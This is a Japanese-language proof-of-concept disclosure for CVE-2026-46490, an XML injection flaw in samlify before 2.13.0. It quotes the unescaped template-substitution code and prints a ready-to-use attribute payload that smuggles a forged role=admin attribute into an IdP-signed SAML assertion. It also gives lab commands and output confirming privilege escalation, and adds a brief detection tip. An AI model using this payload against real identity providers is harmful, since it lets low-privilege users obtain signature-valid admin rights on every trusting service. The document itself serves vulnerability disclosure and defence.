
CVE-2026-46490 — samlify <2.13.0 の SAML AttributeValue XML インジェクションによる signed-assertion 権限昇格。自己完結型 PoC、e2e 検証済み。
AttributeValue XMLインジェクション → 権限昇格samlify
< 2.13.0はテンプレートの置換を属性コンテキストでのみエスケープします。要素テキスト(<saml:AttributeValue>{Value}</saml:AttributeValue>)に配置されたユーザー制御値(例:name)はエスケープされずに挿入されるため、一般ユーザーでも自分自身のIdP署名付き SAMLアサーションに追加の<saml:Attribute>要素(例:role=admin)を注入できます。注入は署名前に行われるため、サービスプロバイダの署名チェックは通過し、偽造された属性を信頼できるものとして扱います。
| CVE | CVE-2026-46490 |
| Advisory | GHSA-34r5-q4jw-r36m |
| Affected | samlify < 2.13.0 |
| Fixed | 2.13.0 |
| Class | CWE-91(XMLインジェクション)→ 権限昇格 |
| CVSS | 8.8 (High) |
| Auth | 認証済み低権限ユーザー(自身の属性値の1つを制御可能) |
| Status | 確認済み — IdP→SPの完全なチェーンを [email protected] で再現 |
src/libsaml.ts は replaceTagsByValue → escapeTag を介して {tag} プレースホルダを置換します:
replaceTagsByValue(rawXML, tagValues) {
Object.keys(tagValues).forEach(t => {
rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
});
return rawXML;
}
function escapeTag(replacement) {
return (_match, quote) => {
const text = String(replacement ?? '');
// "not having a quote means this interpolation isn't for an attribute, and so does not need escaping"
return quote ? `${quote}${xmlEscape(text)}` : text; // <-- element text: NO escaping
};
}
正規表現はオプションの先行する " を quote としてキャプチャします。属性コンテキスト(Name="{Name}")では quote が設定され、値は xmlEscape されます。要素テキスト(>{attrEmail}<)では先行する引用符がないため、値はそのまま出力されます。
デフォルトの属性テンプレートは値を要素テキストに配置します:
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>
したがって、</> を含む攻撃者制御の属性値は生のXMLを注入します。
攻撃者は自身のプロファイル属性(ここでは email)を次のように設定します:
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">
これにより email 属性を閉じ、偽造された role=admin 属性を追加し、テンプレートの末尾の </saml:AttributeValue></saml:Attribute> がバランスを保つように捨て属性を再度開きます。IdPはその後アサーションに署名します — 偽造された属性も含めて。標準準拠のSPは署名を検証し(有効)、role=admin を読み取ります。
cd lab && ./setup.sh # npm i [email protected] + generate IdP/SP keypairs
node poc.js
出力:
>>> INJECTION CONFIRMED: forged <saml:Attribute Name="role">admin smuggled into the signed assertion
extracted attributes: {"email":"[email protected]","role":"admin","ignore":[]}
>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin
PoCはsamlify自身のIdP(脆弱な replaceTagsByValue 置換を実行し署名する createLoginResponse)とSP(署名を検証し属性を抽出する parseLoginResponse)を駆動します。SPは role: "admin" を提示します — これは攻撃者が偽造した属性であり、IdPが発行しようとしたものではありません。
samlifyベースのIdP上で自身のSAML属性値(email、表示名など)の1つに影響を与えられるユーザーは、任意の追加属性(グループ/ロールメンバーシップ、権限、isAdmin フラグなど)を持つ有効に署名されたアサーションを作成し、そのIdPを信頼するすべてのSPで権限を昇格できます。SAML署名検証は役に立ちません。偽造は署名された範囲内にあるからです。
発行/消費されたアサーションにXMLマークアップ(</saml:AttributeValue>、<saml:Attribute)を含む属性値がないか、またIdPテンプレートで定義された数より多くの <saml:Attribute> 要素を持つアサーションがないかを検査する。
置換正規表現、引用符ヒューリスティック、パッチについては ANALYSIS.md を参照してください。